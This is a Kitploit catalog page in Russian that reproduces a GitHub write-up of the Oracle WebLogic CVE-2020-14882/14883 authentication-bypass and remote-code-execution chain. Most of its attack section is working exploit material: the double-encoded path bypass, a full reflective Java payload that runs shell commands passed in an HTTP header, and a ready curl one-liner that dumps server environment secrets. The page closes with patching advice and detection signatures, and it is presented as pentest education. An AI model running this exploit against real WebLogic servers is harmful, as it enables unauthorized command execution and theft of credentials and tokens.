Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-14882-WebLogic-Analysis — Технический анализ и чистый Java Thread Echo PoC для цепочки уязвимостей Oracle WebLogic Server. | Kitploit
Инструменты/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Технический анализ и чистый Java Thread Echo PoC для цепочки уязвимостей Oracle WebLogic Server.

Репозиторий
323 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Ресерч уязвимостей: Эксплуатация цепочки CVE-2020-14882 и CVE-2020-14883 в Oracle WebLogic Server

Репозиторий содержит технический отчет (Write-up) и концептуальный Proof of Concept (PoC) для демонстрации цепочки уязвимостей обхода авторизации (Authentication Bypass) и удаленного выполнения кода (RCE) в компоненте консоли управления Oracle WebLogic Server.

🛑 WARNING & DISCLAIMER: Данный материал подготовлен исключительно в образовательных целях и для проведения легитимного аудита защищенности (Pentest). Использование описанных техник против систем без предварительного письменного согласия владельцев преследуется по закону.


🏗 Архитектура исследования и стек

  • Цель: Изолированная среда тестирования с развернутым Oracle WebLogic Server версии 12.2.1.3
  • Вектор атаки: Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • Инструменты: nmap, curl, bash

📈 Практический ход эксплуатации

Шаг 1. Пассивная и активная разведка периметра (Scanning)

Для определения поверхности атаки было проведено целенаправленное сканирование стандартных портов веб-служб и портов администрирования Java-приложений:

root@kitploit:~
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

Контролируемый вывод терминала:

root@kitploit:~
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • Инсайт этапа: Баннер подтвердил наличие уязвимой ветки 12.2.1.3. Включение протокола T3 также указывает на альтернативные векторы, но для данного исследования выбран HTTP-веб-интерфейс консоли.

Шаг 2. Обход механизмов авторизации (CVE-2020-14882)

Анализ структуры путей показал, что веб-сервер некорректно обрабатывает последовательности перехода на верхний уровень каталога при их двойном URL-кодировании. Ресурс /console/css/ открыт для статики. Конструируем запрос для доступа к защищенному порталу:

  • Паттерн обхода: /console/css/%252e%252e%252fconsole.portal

Проверяем доступность и поведение сервера (ожидаем статус 200 OK вместо 403 Forbidden или 302 Redirect на страницу логина):

root@kitploit:~
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

Ответ сервера:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

Шаг 3. Удаленное выполнение кода через Java Reflection (CVE-2020-14883)

Скомбинировав обход авторизации с вызовом обработчика сессий com.tangosol.coherence.mvel2.sh.ShellSession, мы получаем возможность выполнять произвольный код Java.

Обычное выполнение команд через java.lang.Runtime является «слепым» (Blind RCE). Чтобы реализовать технику Command Echo (возврат вывода терминала прямо в теле HTTP-ответа), был разработан специальный рефлексивный Java-пейлоад.

Исходный код Java-пейлоада :

root@kitploit:~
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // Определяем ОС целевой системы для корректного вызова шелла
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // Выполняем системную команду и считываем Input Stream
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();

Шаг 4. Финальная эксплуатация и дамп окружения (Exploitation)

Для автоматизации отправки Java-контекста собираем итоговую команду curl. Передаем пейлоад в POST-параметре handle, а интересующую нас команду передаем в кастомном заголовке X-CMD-HEADER: env.

Такой подход защищает данные от искажения локальным интерпретатором командной строки Bash на стороне исследователя.

root@kitploit:~
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

Реальный верифицированный вывод (Дамп переменных окружения):

root@kitploit:~
*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
  • Техническое примечание к выводу: Ошибка curl: (18) в самом конце лога подтверждает успешность эксплуатации. Она вызвана инструкцией executeThread.interrupt(), которая принудительно разрывает TCP-сессию сразу после того, как буфер с результатами команды env улетел клиенту.

🛡 Рекомендации по устранению уязвимости (Mitigation)

  1. Обновление безопасности: Установка официальных патчей от Oracle (Critical Patch Update) для закрытия дефектов валидации путей в консоли.
  2. Ограничение сетевого доступа: Полное сетевое изолирование административных портов (7001, /console) от внешнего периметра (доступ только через внутренний VPN/микросегментацию).
  3. Защита на уровне WAF: Настройка правил Web Application Firewall для блокирования URL-запросов, содержащих признаки двойного URL-кодирования путей (%252e) в сочетании со специфичными вызовами классов Java.

🔍 Индикаторы компрометации и детектирование (Detection)

Для специалистов по мониторингу безопасности (SOC/Blue Team) успешная эксплуатация данной цепочки уязвимостей оставляет чёткие следы в инфраструктуре.

1. Анализ веб-журналов (HTTP Access Logs)

В логах веб-сервера WebLogic (обычно находятся в access.log) маркером атаки является наличие двойного URL-кодирования точек и слеша в сочетании с обращением к порталу администрирования через статические директории:

  • Сигнатура обхода пути: Поиск подстрок .. в кодированном виде: %252e%252e%252f или %252e%252e%252F внутри URI.
  • Пример подозрительного запроса:
    root@kitploit:~
    "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
    

2. Поведение процессов в ОС (Endpoint Monitoring / EDR)

Если на сервере настроен аудит процессов (например, через Auditd в Linux или Sysmon в Windows), признаком Remote Code Execution будет аномальное поведение родительского процесса Java:

  • Аномальное дерево процессов: Родителем для системного шелла (/bin/sh, /bin/bash или cmd.exe) выступает рабочий процесс Java, под которым запущен сервер приложений:
    root@kitploit:~
    ├─ java (WebLogic Server process)
    │  └─ /bin/sh -c env
    
  • Мониторинг кастомных заголовков: Появление в трафике или логах WAF нетипичных HTTP-заголовков (таких как X-CMD-HEADER или X-Forwarded-Cmd), используемых атакующим для передачи полезной нагрузки (Command Echo).

🔗 Полезные ссылки и материалы

  • База CVE: NIST NVD - CVE-2020-14882 | NIST NVD - CVE-2020-14883
  • Аналитические статьи: Oracle Critical Patch Update Advisory
Скачать инструмент